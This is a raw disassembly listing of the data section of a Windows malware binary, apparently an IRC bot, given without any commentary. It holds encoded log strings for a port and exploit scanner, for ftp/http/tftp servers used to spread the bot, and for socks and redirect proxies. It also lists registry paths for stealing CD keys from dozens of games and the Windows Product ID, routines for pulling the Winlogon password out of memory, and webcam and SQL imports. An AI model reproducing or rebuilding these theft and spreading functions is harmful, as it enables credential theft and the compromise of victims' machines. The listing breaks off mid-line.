0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o align 4 unk_42B134 db 2 ; DATA XREF: sub_407110+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_42B20C db 2 ; DATA XREF: sub_407252+307o ; sub_40EE72+54B9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 unk_42B328 db 2 ; DATA XREF: sub_407252+DBo ; sub_40EE72+5343o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o ; sub_40AEE0+46o unk_42B384 db 2 ; DATA XREF: sub_407767+EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_42B3BC db 2 ; DATA XREF: sub_407767+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_42B45C db 2 ; DATA XREF: sub_40797F+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B5DC db 2 ; DATA XREF: ___:00407F10o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 unk_42B62C db 2 ; DATA XREF: ___:00407E47o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 10h unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o ; sub_40EE72+5E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o ; sub_4089E7+26o align 10h dd 80000001h off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr ; sub_408C26+21o ; "Software\\Valve\\CounterStrike\\Settings" ; --------------------------------------------------------------------------- push 500042CAh retf 42h ; --------------------------------------------------------------------------- dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0) dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0) dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0) dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0) dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0) dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0) dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0) dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0) dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0) dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0) dd 80000002h, 42C770h, 43C80Ch, 42C760h, 2 dup(0) dd 80000002h, 42C728h, 43C80Ch, 42C714h, 2 dup(0) dd 80000002h, 42C6C8h, 43C80Ch, 42C6A8h, 2 dup(0) dd 80000002h, 42C658h, 43C80Ch, 42C62Ch, 2 dup(0) dd 80000002h, 42C5F0h, 43C80Ch, 42C5DCh, 2 dup(0) dd 80000002h, 42C5A4h, 43C80Ch, 42C594h, 2 dup(0) dd 80000002h, 42C544h, 43C80Ch, 42C518h, 2 dup(0) dd 80000002h, 42C4D8h, 43C80Ch, 42C4BCh, 2 dup(0) dd 80000002h, 42C48Ch, 43C80Ch, 42C46Ch, 2 dup(0) dd 80000002h, 42C430h, 43C80Ch, 42C41Ch, 2 dup(0) dd 80000002h, 42C3D4h, 43C80Ch, 42C3B4h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_42C360[eax], al or al, 0C8h inc ebx add [eax], dh retn ; --------------------------------------------------------------------------- dw 42h dd 2 dup(0) dd 80000002h, 42C2E0h, 43C80Ch, 42C2B4h, 2 dup(0) dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0) dd 80000002h, 42C208h, 43C80Ch, 42C1ECh, 2 dup(0) dd 80000002h, 42C1A0h, 43C80Ch, 42C17Ch, 2 dup(0) dd 80000002h, 42C148h, 43C80Ch, 42C13Ch, 2 dup(0) dd 80000002h, 42C108h, 43C80Ch, 42C0FCh, 2 dup(0) dd 80000002h, 42C0C8h, 43C80Ch, 42C0BCh, 2 dup(0) dd 80000002h, 42C088h, 43C80Ch, 42C07Ch, 2 dup(0) dd 80000002h, 42C040h, 43C80Ch, 42C02Ch, 2 dup(0) dd 80000002h, 42BFF0h, 43C80Ch, 42BFDCh, 2 dup(0) dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0) dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0) dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0) dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0) dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0) dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0) dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0) dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 ; DATA XREF: ___:004312ECo db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 aCdkey db 'CDKey',0 align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o align 4 asc_42CA98: ; DATA XREF: sub_408C26+E9o ; sub_408C26+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_408C26+8Fo ; sub_40EE72:loc_413645o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo ; sub_408EE5+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo align 4 unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao align 4 unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 10h unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 unk_42CC0C db 2 ; DATA XREF: sub_409037+117o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004B+2 dd offset byte_4E0049 dd 0 off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo dd offset byte_520045 dd offset loc_41004B+3 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o ; sub_409037+161o ... align 10h unk_42CD60 db 2 ; DATA XREF: sub_409037+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_409209+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409209+AFo align 10h unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o ; sub_409706+C7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: 